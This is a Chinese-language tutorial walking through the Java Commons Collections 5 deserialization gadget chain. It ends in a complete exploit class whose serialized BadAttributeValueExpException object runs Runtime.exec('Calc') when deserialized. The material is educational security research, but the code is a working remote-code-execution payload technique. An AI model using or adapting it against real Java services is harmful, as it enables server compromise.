Java反序列化 CC5链

参考链接

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java

环境搭建

Commons.Collections 3.2.1
jdk8u65

利用链分析

后面都和CC1-LazyMap一样,前面的话,改了下调用lazyMap.get的函数和入口类,没啥好分析的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

Exp编写

LazyMap.get()

这里复习一下CC1-LazyMap,通过lazyMap.get(“xxx”);即可触发命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class TestCC5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get("Jasper");
}
}

TiedMapEntry.toString()

toString()会调用到map.get(key),通过构造函数设置map=lazyMap即可接上链条。

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//CC1-LazyMap 后半段
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
// lazyMap.get("Jasper");
// 前半段不同的
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "jasper");
tiedMapEntry.toString();

image.png

BadAttributeValueExpException.readObject()

这里有现成的toString方法,只需要把val给改成tiedMapEntry就好,而这个val是反序列化的时候获得的序列化流里的名字为”val”的Field,这里我们把他设置成tiedMapEntry就行。
image.png
需要注意在BadAttributeValueExpException的**构造函数里也会执行val.toString()**,为了避免在反序列化前就触发链条,我们不在构造函数里设置val,我们还是用老方法,先改空值,再改回去。

  • BadAttributeValueExpException的构造函数传null,val赋值为null,获得badAttributeValueExpException对象
  • 通过反射badAttributeValueExpException设置对象的val值
    1
    2
    3
    4
    5
    6
    //传入null,避免提前触发链条,后面反射改值
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Class clazz = BadAttributeValueExpException.class;
    Field valField = clazz.getDeclaredField("val");
    valField.setAccessible(true);
    valField.set(badAttributeValueExpException,tiedMapEntry);

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public class TestCC5 {
public static void main(String[] args) throws Exception{
//CC1-LazyMap 后半段
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
// lazyMap.get("Jasper");
// 前半段不同的
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "jasper");
// tiedMapEntry.toString();
//传入null,避免提前触发链条,后面反射改值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz = BadAttributeValueExpException.class;
Field valField = clazz.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize();

}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}
}

image.png

总结

本质就是在LazyMap.get()的基础上换了个入口类,可以和CC1-LazyMap、CC6对比着看。